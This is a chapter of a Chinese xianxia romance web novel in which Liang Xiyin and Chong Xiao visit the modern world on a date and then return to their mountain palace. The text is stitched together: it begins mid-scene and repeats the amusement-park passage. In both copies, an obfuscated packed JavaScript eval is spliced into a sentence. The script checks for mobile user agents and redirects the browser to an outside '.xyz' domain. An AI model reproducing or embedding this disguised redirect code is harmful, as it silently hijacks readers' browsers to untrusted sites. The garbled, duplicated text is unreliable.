从过山车下来后,梁惜因的第一反应是——就这?和她想象得也差太多了。她不信邪,又带着重霄往下一个项目走去。等面无表情地玩过了鬼屋、海盗船、空中飞椅等等这些项目后,梁惜因不得不承认,是她先前的期望太高了。 两人坐在长椅上,重霄观察着她的神情,关切问道:“怎么了,不开心?” 梁惜因摇头:“就是觉着刚刚玩得那些和我想象中的不太一样。” “何处不一样?” “嗯...”梁惜因思索着说:“没有我以为的那般有意思。”不过想想也是,在经历过修仙界的那些事后,这些游乐项目确实小儿科到不值一提。 她向后仰着身子,靠坐在了椅背上,接着说道:“可能人就是这样,在没有得到一件东西前,总是尽全力地去美化它。等真正得到手后,反而很快失了兴味,甚至是生了厌弃。” “非也。”重霄难得没赞同她的话,“这世上也有些人,会用尽一生去仰望一个人、一件物。” 梁惜因心念微动,重霄这说的是...她抬眸,见重霄正注视着她,眸中情愫翻涌。心跳似是漏了一拍,梁惜因回望着他,想说 eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15091058|152851||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 的话在涌上舌尖时又被咽了回去。一切话语在此时似乎都显得多余。 察觉到重霄越靠越近后,梁惜因猛然清醒过来,抵着他的肩道:“这还有这么多人呢。” 重霄有几分遗憾,却还是听话地退了回去:“那阿因回去后可要补给我。” 梁惜因:“......”好生理直气壮。 “还玩吗?”重霄又问。 “玩啊。”梁惜因站起身,“还有好多项目没玩呢。”失望确实存在着,但心里的那片缺漏,也正逐渐被填满。 时间缓慢流逝着,彩色的灯光亮起,照亮了整个园区。两人牵着手,慢慢悠悠地往园外走着。路旁不少小摊贩正向人们推销着商品,因是在游乐园内,里头多是孩童和情侣,所以卖的东西也多是小孩和女生会喜欢的。 重霄漫不经心地扫过那些商品,却忽在一处摊子前停下了步子。梁惜因疑惑地顺着他的目光望去,在看清后不禁笑道:“情侣手绳?你要买吗?” “情侣...”重霄理解着她的话意,“是道侣之间才能戴的饰品吗?” “对。”梁惜因牵着他走近了些,“这样式还挺常见的,一般戴上后,旁人便都知道这人已有男或女朋友了。” 见重霄拿起其中一对手绳端详着,梁惜因微微吃惊地说:“你要戴吗?这一般都是年轻人喜欢戴的。” 摊子后的老板听了这话,不由说道:“这话说得,你们两个不也是年轻人吗?” 梁惜因:“......”并不,但她要是说出自己的真实年龄可能就要被当作精神病了。 老板开始推销:“买一对吧,你们两个长这么好看,戴了这手绳后肯定更能长长久久。” 梁惜因:“......”这几句话之间有必然联系吗? 偏偏重霄好像还真信了,直直地望着她,唤道:“阿因。” 最终梁惜因还是屈服了。她调节着手绳长度,一边亲自帮重霄带上,一边还忍不住说:“你这样买东西真的很容易被骗诶。” “我自是不信他说的话。”重霄满意地看着两人手腕上的同款手绳,“我只是想让旁人知道,你我二人,皆已有要相爱一生的道侣。” 他细看了看那手绳,又说:“这做工实是粗糙,等回去后,我再亲手给阿因做一条。” “好啊,那阿霄的就由我来做如何?”梁惜因道,“只是我从未做过这些东西,若是做得不好,阿霄可莫要嫌弃。” 重霄轻笑:“无妨。” 从园区回去后,梁惜因和重霄并肩在小区内走着,路灯投下一团团白光,飞虫聚在一起打着转。一天即将结束,那些被梁惜因有意抛之脑后的问题也尽数在此时浮现上来。 “阿霄,你说我们要是回不去了怎么办?”她问。 “那就留在此处。”重霄毫不迟疑地说。 梁惜因扬眉:“所以阿霄是喜欢这个世界吗?” 重霄缓缓道:“这个世界,与我们所处的世界确实大有不同,但对我来说却无甚区别。”他不在意旁人如何,也不在意身处何方,“我只是想留在有阿因在的世界。” 梁惜因垂眸,不自在地摸了摸耳垂。真是...这人怎么就能这么自如地说出这些话来。 “不过,”重霄低头看她,又说:“我还是会想办法回去。” “为何?” “因为那个世界,有阿因在意的人。” 梁惜因抬头,恰好对上了重霄的视线。片刻后,她笑着说:“好,那我们一起想办法回家。”是了,那里才是属于她的世界,有她的亲人朋友,有她所熟悉的一切。 不过也根本用不着他们二人想办法。在梁惜因踏入出租屋大门的一瞬间,周围的景象飞速变化着,转眼间,那白色的水泥墙面就变为了灰黑色的石墙。 他们这是...又回到漆吴山的石宫中了。 法诀已然失效,她和重霄又恢复了先前长发白袍的装束,唯有手腕上的手绳还切实存在着。他们确确实实,是去了一趟现世。 “阿霄,这是...”梁惜因还没问出口,一张符纸就凭空出现在了她面前。梁惜因抬手接住,就听得玄仪子那稚嫩的嗓音,“含盈,千虚镜方才出了些问题。你的一部分神魂曾在镜中穿梭过,可能会受其影响,包括和你靠得近的人。不过眼下问题已被我解决了,放心吧!” 梁惜因:“......”原来上古神器也会出问题的吗。 此时天还未亮,两人却一丝睡意也无。梁惜因披上外袍,向石宫外走去,重霄跟在她身侧。 一直走到崖边,她才止住步子。漆吴山靠近大海,此处更是能一览无余地望见那片深蓝色的海。海面随风起伏,连带着洒在海上的银白色月辉也跟着翻涌起来,像是打碎后落在凡间的星光。 带着些湿意的风吹动了梁惜因的衣摆,重霄上前几步,恰好站在了风口处。梁惜因拨了拨被吹至面前的碎发,对他说:“阿霄,我此前和你说过,我是在一处沿海的镇子中长大的。” 重霄眸光温柔:“嗯,我记得。” 梁惜因的神色透着几分追忆与怅惘:“几百年了,也不知那镇子如今是何模样。” “那等天亮后,阿因带我回去看一看如何?” “只怕是我去了都要认不出来了。”梁惜因颇有几分自嘲地说。 “这有何妨?沿着海慢慢走,总能走到的。” 梁惜因怔了一瞬,笼在心头的层云像是被清风吹散。她在现世中生活了二十多年,却从未对那里的哪一处产生过家的感觉。在修仙界中,对她而言最有归属感的无外乎天璇峰。但从最开始,她是出生在海边的那个小镇中的,那里才是她的来处。 只是后来时过境迁,每当她想要回去之时,心中就会涌起一股近乡情怯之意。都说修士要忘却凡尘、超脱俗世,可对故土的依恋又哪是那么容易消却的? “也是,时日还长着呢。”重霄的话驱散了梁惜因的疑虑,她循着那些模糊的儿时记忆,慢慢对他说道:“海边也有很多趣事。岸上的沙子是很淡的金色,踩一脚就会陷下去,海浪一道道地扑上来,等退潮之后,就可以去捡贝壳了...” 重霄静静地听着她的话语。透过这字字句句,他似是能看见几百年前,在海边玩乐的那个小姑娘。 梁惜因断断续续地说了好一会,最后道:“阿霄你肯定也会喜欢那儿的。” “嗯,怎会不喜欢。”重霄微微弯下腰,“不过阿因,你是不是忘了一件事?” “什么...”她话音未落,双唇就被吻住了。梁惜因顿时想起来了,这是她“欠”重霄的那个吻。 重霄吻得缠绵,温柔而细致。在闭上双眼前,梁惜因余光看见了天边的一轮明月,和那一望无垠的海。 海上生明月,天涯共此时。梁惜因睁开眼,入目的是白色天花板和一盏吸顶灯。 日光透过淡紫色的窗帘照射进来,梁惜因的大脑出现片刻空白。自重回自己所在的世界后,她在现世中的记忆便逐渐淡去,只有在极偶尔的时候才会想起。但此处她再熟悉不过,只消一眼便能认出——正是她在现世所居的那间出租屋。 她这是在做梦?还是说,在修仙界中的一切才是一场梦?阿霄...她猛然扭头,见重霄还在她身边睡着,顿时安下了心。她又试着调动了□□内灵力,发觉这身修为也还在。 还好,不是梦。 随之而来的是深深的疑惑,梁惜因记着她昨日和重霄回了趟漆吴山,夜深后便直接在石宫中歇下了,没有任何异样出现。那她为何会突然回到此处?还把重霄也一起带来了...也不知要如何才能回去。 身旁传来的动静声打断了梁惜因的思索,她侧过身子,轻声说:“阿霄,你醒啦。” 不论如何,起码还有重霄陪着她。 重霄习惯性地抱着她蹭了蹭:“阿因,早。” 等睁开眼看清周围景象后,他顿时翻身坐起,掌中凝出黑雾,护在他和梁惜因周身。他皱眉端详着屋中摆设,警惕道:“这是何处?” 梁惜因也坐了起来,好笑地按住他的手:“阿霄,放心,此处很安全的。” 黑雾缓慢地缩回体内,重霄的眼神中依旧透着几分不解,以及还未完全散去的戒心。 梁惜因解释道:“还记得我和你说过的,我在回去之前待过的世界吗?” 重霄当然记得,梁惜因与他说过的每一件事他都记得。无父无母、先天顽疾...在听她说完这一切后,重霄默默无言地抱了她许久。当时的梁惜因环着他的后背,温声劝慰道:“没什么好难过的,再怎么说也是一场机缘,一场能让我回家的机缘。” 思及此,重霄眸光微动,认真地打量起了所处的房间:“所以,此处便是阿因与我说的那个世界?”虽是疑问句,语气却很肯定。 “不错。”梁惜因接受得很快,虽然不知为何会过来,但这来都来了,自然是要好好把握。 她拉着重霄下床,眼角眉梢俱是笑意:“阿霄,我们约会去。” 凭着残留的记忆,梁惜因并不费力地找到了钱包和手机。她在这拾掇着准备出门,一回眸却见重霄还站在原处望着她,穿着与周围的现代设施格格不入的白色长袍。 梁惜因轻笑,指尖捏了个诀。墨发缩短,白袍隐去,转眼间,重霄身上的装束就成了一件灰色毛衣配一条浅蓝色牛仔裤。眉间的怨字纹也被隐去,留下的两枚眼下痣则给他精致的面容平添了一丝妖冶。 梁惜因眼前一亮,围着他转道:“果然阿霄就是穿什么都好看。” 重霄原本还有些不适应突然缩短的长发,闻言不禁露出笑意:“阿因喜欢便好。” 梁惜因牵着他的手出了单元门,想着重霄在这人生地不熟的,她不免再三叮嘱道:“好好跟着我,别走丢了。” 重霄笑了笑,直接从后面揽她入怀,咬了咬她的耳垂:“阿因就算想丢我也丢不掉。” 梁惜因身子一颤,听见不远处有脚步声传来,连忙和他拉开了距离。 来人是住在梁惜因对门的邻居,见了梁惜因热情招呼道:“哎呀,这不是小梁嘛!” 梁惜因笑道:“裴姨好。” 裴姨烫了头大卷发,远远地就见着梁惜因身旁站着个身高腿长的男的,走进一看更是忍不住惊叹道:“小梁你什么时候找的男朋友?这小伙长得是真俊啊!” 梁惜因也侧目看了眼重霄:“谈了有一段时间了。” 裴姨又赞叹了几声,视线忽然直勾勾地落在了梁惜因脸上:“小梁,我刚就想问了,你脸咋这么红啊?” “有吗?”梁惜因连忙用手背碰了碰脸,确实感到了一股轻微的热意。她垂下眸子,随口说:“可能是热的吧...” 裴姨走后,梁惜因偏过头,果然看见了重霄面上那毫不掩饰的笑意。她捏了捏他的掌心,故作不满:“笑什么?我和你说,这个世界人很多的,还到处都有监控,就是一种相当于留影符的东西,你可给我注意些...” 重霄也不知听没听进去,再度弯腰凑到了梁惜因耳边,压低嗓音问道:“男朋友...是什么意思?” 温热的气息勾起一片痒意,梁惜因捂着耳朵,佯瞪了他一眼:“你不是都知道了吗,还来问我干嘛?” 重霄揽住她的肩,又拉近了两人间的距离:“那阿因就是我的女朋友了?” 梁惜因不看他:“我是你师尊。” 重霄听了,苦恼道:“我昨夜便是这么唤阿因的,可阿因那会却不让我这么唤她,说是...” 梁惜因连忙捂住他的嘴,才消下去的红意再度泛起:“不许说了!” 重霄确实没再说话,可露出来的一双眼睛中却蕴着千言万语与说不尽的柔情。梁惜因像是被烫到般缩回了手,他这副模样,倒是让梁惜因想起了刚回去时,那非要留在她身边的小重霄,只是比那时还要更不正经几分。 看来是要把扶岳送来的那些闲书都收走了,这都学了些什么啊... 走到路口后,梁惜因带着重霄坐进了一辆出租车,向着一家商场驶去。重霄漫不经心地看着窗外飞驰的景色,梁惜因曾说过,这个世界与他们所处的世界大有不同。只不过在当时,比起这些不同,重霄更在意梁惜因在这里过得好不好。 而此时,他才真正领略到这两个世界的差异。这是一处没有术法,也没有人、妖、魔之分的世界,和平而富饶。 下车后,梁惜因拉着重霄直奔电影院:“还记得我和你说过的电影吗?我方才看手机,今日正好有一部玄幻片上映。” 重霄理解的电影就是凡间戏班子所排的百戏,他以前流浪的时候见过一两次,但并未在台前久留,他不喜欢那份热闹和喧嚣。那时的他,以为自己会一直在孤寂与阴暗中活着。 此刻看着梁惜因的笑颜,他心中也升起了几分隐秘的期待。不止是这一件事,自遇见梁惜因始,这世间的万千景象,在他眼中都有了意义。 距电影开场还有一段时间,梁惜因便带着重霄去影院对面买奶茶。梁惜因扫了码,选好自己的后就把手机递到了重霄面前:“你看看你要喝什么。” 重霄只扫了一眼,目光就重新落回了梁惜因身上:“和阿因一样的便好。” 奶茶做得很快,重霄接过梁惜因递给他的那杯,学着她的模样将吸管插了进去。与他此前所喝的茶不同,这所谓的奶茶中带着一股对他而言过于浓郁的甜味。 “味道如何?”梁惜因笑眼盈盈地望向他。 重霄将口中奶茶咽下,回道:“还不错。阿因若是喜欢,回去后我便试着做一做。” 没聊几句,就到了电影的开场时间。重霄跟在梁惜因身后进了影厅,此处光线昏暗,又是基本密闭的空间,还有着许多生人,令重霄下意识地就警惕起来。 梁惜因靠在重霄肩上,与他说起在预告中看到的内容。她语调轻缓,令重霄不知不觉就平静了下来。很快,电影开播,除了面前的那一方荧幕,影厅中彻底暗了下来。 重霄初时还有几分新奇,没过多久就感到些许腻味。对旁人的故事,他实在是提不起兴趣来。于是在这黑暗的掩映下,他不动声色地将视线落在了梁惜因面上。 随着荧幕中画面的变化,梁惜因脸上的光影也在不断变化着。她的神情随着剧情的发展生出细微的不同,或蹙眉,或扬唇,一颦一笑皆是如此生动,令重霄忍不住想要铭记心间。 修道者的五感异于常人,身为魔尊的重霄也不例外。在电影进行到一半时,他注意到前排坐着的一男一女靠在了一起,忘我地亲吻着。 重霄:“......”还可以这样? 梁惜因的神情有了些微波动,显然也是注意到了。重霄握着梁惜因手的力道加重了些,慢慢向她凑近。梁惜因终于没法再对他视而不见,轻唤了声:“阿霄。” 这一声像是唤进了重霄心底,他不再迟疑,倾身吻了上去。 从电影院出来后,重霄还有些意犹未尽:“阿因,下次有机会还来看电影吧。” 梁惜因:“......”你想看的是电影吗。 正巧路过厕所,梁惜因和重霄说了一声,往里走去。她走到洗手台前,果见镜中的自己嘴唇红润非常。这家伙...成亲过后还真是越发不像话了,整得她后面也没什么心思看电影了。 又对着镜子理了理头发,梁惜因才向外走去。待看清眼前的景象后,她却又好笑地止住了步子。 只见重霄被一群女生围在中间,他皱着眉,眸中除了不耐还有着几丝茫然。梁惜因站得和他们有一段距离,但并不妨碍她听清他们的对话。 “帅哥,可以加个联系方式吗?” “何为联系方式?” “就是微信啦。” “微信是何物?” “...那企鹅呢?” “企鹅?从未听说过此种动物。” “......帅哥,你真幽默哈。那电话号码总得有了吧?” 重霄耐性已要耗尽,他向厕所门口看去,终于望见了梁惜因的身影,只不过是憋着笑的梁惜因。 重霄:“......” 梁惜因:“......”被发现了。 她快步走过去,挽住重霄的手:“久等了,我们走吧。” 这下那些女生还有什么不明白的,道了歉后就纷纷扭头走了,边走还边回头看着。 “我就说人家长成这样,肯定有女朋友了,你还不信。” “可是他女朋友长得也好漂亮啊,好有气质。” “话说这两人当真不是明星吗?” ...... 梁惜因望着重霄,柔声问:“生气了?” “没有。”重霄答得很快,“只是不知要如何应对她们。” 想来也是,重霄身为魔尊,那些个女修见着他,恨不能退避三尺。而那些凡间女子就算不知重霄的真实身份,也不会胆大到直接来向他搭话。 梁惜因垂眸,觉着自己方才实在不该在旁看热闹:“我应该直接过来找你的。” “无妨。”重霄抚了抚她脑后的长发,“是我没早些和她们说,我已有女朋友了。” 梁惜因轻笑出声:“这新学的词你倒是会用。好了,不提这事了,我们用饭去。” 梁惜因选了一家火锅店,重霄从没试过此种吃法,在梁惜因给他示范过后,很快便学会了,不停地下菜,再把菜捞到梁惜因碗中。 看着碗里东西越堆越多的梁惜因:“......” 她不得不制止他道:“可以了,你也多吃些。” 重霄这才停下往她碗中捞菜的动作。梁惜因吃着菜,不禁想着,在夹菜这方面,重霄和梁惜时还真是如出一辙。 想起梁惜时,梁惜因觉着回去后也可以尝试下这种吃法,尤其是在冬日。届时白雪盈院,红汤滚沸,众人围坐桌前,又是一桩赏心乐事。 吃完后,两人来到商场附近的游乐园。商场对重霄来说就相当于是多家商铺聚集在一起,并不难理解。而这游乐园中的种种则完全是他此前从未接触过的。 几乎每一个人的面上都带着笑意,不时有视线落在梁惜因和重霄身上。这些视线中没有恐惧、憎恶、惋惜...有的只是纯然的好奇与欣赏。 但重霄更宁愿面对那些带着惧与憎的眼神,这纯粹的善意反倒是令他不适应起来,甚至是想要逃离。 这时他忽觉身边的人步子加快了些许,梁惜因快步走在前面,回头望着他说:“阿霄,你想不想去坐过山车!” 眼前的爱人笑容明媚,霎时间就扫尽了他杂乱的思绪。他不再去关注那些目光,回道:“想。” 其实这也是梁惜因第一次来游乐场。她自幼在福利院中长大,自然不能像别的小孩一样,和父母一同来这些场所玩。长大之后,她边忙于学业边兼职挣钱,挣来的钱自然也都被用于买药看病了。她没有时间也没有余钱来这些地方。 在极偶尔的时候,她从游乐园外路过,看着里头欢笑的人群,眼中也会闪过一丝艳羡。但也仅仅是一瞬罢了,随后她便会扭过头去,继续为生活奔波。 她今日带重霄来此处,说是带他来玩,其实也是为了弥补自己少时的遗憾。 从过山车下来后,梁惜因的第一反应是——就这?和她想象得也差太多了。她不信邪,又带着重霄往下一个项目走去。等面无表情地玩过了鬼屋、海盗船、空中飞椅等等这些项目后,梁惜因不得不承认,是她先前的期望太高了。 两人坐在长椅上,重霄观察着她的神情,关切问道:“怎么了,不开心?” 梁惜因摇头:“就是觉着刚刚玩得那些和我想象中的不太一样。” “何处不一样?” “嗯...”梁惜因思索着说:“没有我以为的那般有意思。”不过想想也是,在经历过修仙界的那些事后,这些游乐项目确实小儿科到不值一提。 她向后仰着身子,靠坐在了椅背上,接着说道:“可能人就是这样,在没有得到一件东西前,总是尽全力地去美化它。等真正得到手后,反而很快失了兴味,甚至是生了厌弃。” “非也。”重霄难得没赞同她的话,“这世上也有些人,会用尽一生去仰望一个人、一件物。” 梁惜因心念微动,重霄这说的是...她抬眸,见重霄正注视着她,眸中情愫翻涌。心跳似是漏了一拍,梁惜因回望着他,想说 eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15091058|152851||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 的话在涌上舌尖时又被咽了回去。一切话语在此时似乎都显得多余。 察觉到重霄越靠越近后,梁惜因猛然清醒过来,抵着他的肩道:“这还有这么多人呢。” 重霄有几分遗憾,却还是听话地退了回去:“那阿因回去后可要补给我。” 梁惜因:“......”好生理直气壮。 “还玩吗?”重霄又问。 “玩啊。”梁惜因站起身,“还有好多项目没玩呢。”失望确实存在着,但心里的那片缺漏,也正逐渐被填满。 时间缓慢流逝着,彩色的灯光亮起,照亮了整个园区。两人牵着手,慢慢悠悠地往园外走着。路旁不少小摊贩正向人们推销着商品,因是在游乐园内,里头多是孩童和情侣,所以卖的东西也多是小孩和女生会喜欢的。 重霄漫不经心地扫过那些商品,却忽在一处摊子前停下了步子。梁惜因疑惑地顺着他的目光望去,在看清后不禁笑道:“情侣手绳?你要买吗?” “情侣...”重霄理解着她的话意,“是道侣之间才能戴的饰品吗?” “对。”梁惜因牵着他走近了些,“这样式还挺常见的,一般戴上后,旁人便都知道这人已有男或女朋友了。” 见重霄拿起其中一对手绳端详着,梁惜因微微吃惊地说:“你要戴吗?这一般都是年轻人喜欢戴的。” 摊子后的老板听了这话,不由说道:“这话说得,你们两个不也是年轻人吗?” 梁惜因:“......”并不,但她要是说出自己的真实年龄可能就要被当作精神病了。 老板开始推销:“买一对吧,你们两个长这么好看,戴了这手绳后肯定更能长长久久。” 梁惜因:“......”这几句话之间有必然联系吗? 偏偏重霄好像还真信了,直直地望着她,唤道:“阿因。” 最终梁惜因还是屈服了。她调节着手绳长度,一边亲自帮重霄带上,一边还忍不住说:“你这样买东西真的很容易被骗诶。” “我自是不信他说的话。”重霄满意地看着两人手腕上的同款手绳,“我只是想让旁人知道,你我二人,皆已有要相爱一生的道侣。” 他细看了看那手绳,又说:“这做工实是粗糙,等回去后,我再亲手给阿因做一条。” “好啊,那阿霄的就由我来做如何?”梁惜因道,“只是我从未做过这些东西,若是做得不好,阿霄可莫要嫌弃。” 重霄轻笑:“无妨。” 从园区回去后,梁惜因和重霄并肩在小区内走着,路灯投下一团团白光,飞虫聚在一起打着转。一天即将结束,那些被梁惜因有意抛之脑后的问题也尽数在此时浮现上来。 “阿霄,你说我们要是回不去了怎么办?”她问。 “那就留在此处。”重霄毫不迟疑地说。 梁惜因扬眉:“所以阿霄是喜欢这个世界吗?” 重霄缓缓道:“这个世界,与我们所处的世界确实大有不同,但对我来说却无甚区别。”他不在意旁人如何,也不在意身处何方,“我只是想留在有阿因在的世界。” 梁惜因垂眸,不自在地摸了摸耳垂。真是...这人怎么就能这么自如地说出这些话来。 “不过,”重霄低头看她,又说:“我还是会想办法回去。” “为何?” “因为那个世界,有阿因在意的人。” 梁惜因抬头,恰好对上了重霄的视线。片刻后,她笑着说:“好,那我们一起想办法回家。”是了,那里才是属于她的世界,有她的亲人朋友,有她所熟悉的一切。 不过也根本用不着他们二人想办法。在梁惜因踏入出租屋大门的一瞬间,周围的景象飞速变化着,转眼间,那白色的水泥墙面就变为了灰黑色的石墙。 他们这是...又回到漆吴山的石宫中了。 法诀已然失效,她和重霄又恢复了先前长发白袍的装束,唯有手腕上的手绳还切实存在着。他们确确实实,是去了一趟现世。 “阿霄,这是...”梁惜因还没问出口,一张符纸就凭空出现在了她面前。梁惜因抬手接住,就听得玄仪子那稚嫩的嗓音,“含盈,千虚镜方才出了些问题。你的一部分神魂曾在镜中穿梭过,可能会受其影响,包括和你靠得近的人。不过眼下问题已被我解决了,放心吧!” 梁惜因:“......”原来上古神器也会出问题的吗。 此时天还未亮,两人却一丝睡意也无。梁惜因披上外袍,向石宫外走去,重霄跟在她身侧。 一直走到崖边,她才止住步子。漆吴山靠近大海,此处更是能一览无余地望见那片深蓝色的海。海面随风起伏,连带着洒在海上的银白色月辉也跟着翻涌起来,像是打碎后落在凡间的星光。 带着些湿意的风吹动了梁惜因的衣摆,重霄上前几步,恰好站在了风口处。梁惜因拨了拨被吹至面前的碎发,对他说:“阿霄,我此前和你说过,我是在一处沿海的镇子中长大的。” 重霄眸光温柔:“嗯,我记得。” 梁惜因的神色透着几分追忆与怅惘:“几百年了,也不知那镇子如今是何模样。” “那等天亮后,阿因带我回去看一看如何?” “只怕是我去了都要认不出来了。”梁惜因颇有几分自嘲地说。 “这有何妨?沿着海慢慢走,总能走到的。” 梁惜因怔了一瞬,笼在心头的层云像是被清风吹散。她在现世中生活了二十多年,却从未对那里的哪一处产生过家的感觉。在修仙界中,对她而言最有归属感的无外乎天璇峰。但从最开始,她是出生在海边的那个小镇中的,那里才是她的来处。 只是后来时过境迁,每当她想要回去之时,心中就会涌起一股近乡情怯之意。都说修士要忘却凡尘、超脱俗世,可对故土的依恋又哪是那么容易消却的? “也是,时日还长着呢。”重霄的话驱散了梁惜因的疑虑,她循着那些模糊的儿时记忆,慢慢对他说道:“海边也有很多趣事。岸上的沙子是很淡的金色,踩一脚就会陷下去,海浪一道道地扑上来,等退潮之后,就可以去捡贝壳了...” 重霄静静地听着她的话语。透过这字字句句,他似是能看见几百年前,在海边玩乐的那个小姑娘。 梁惜因断断续续地说了好一会,最后道:“阿霄你肯定也会喜欢那儿的。” “嗯,怎会不喜欢。”重霄微微弯下腰,“不过阿因,你是不是忘了一件事?” “什么...”她话音未落,双唇就被吻住了。梁惜因顿时想起来了,这是她“欠”重霄的那个吻。 重霄吻得缠绵,温柔而细致。在闭上双眼前,梁惜因余光看见了天边的一轮明月,和那一望无垠的海。 海上生明月,天涯共此时。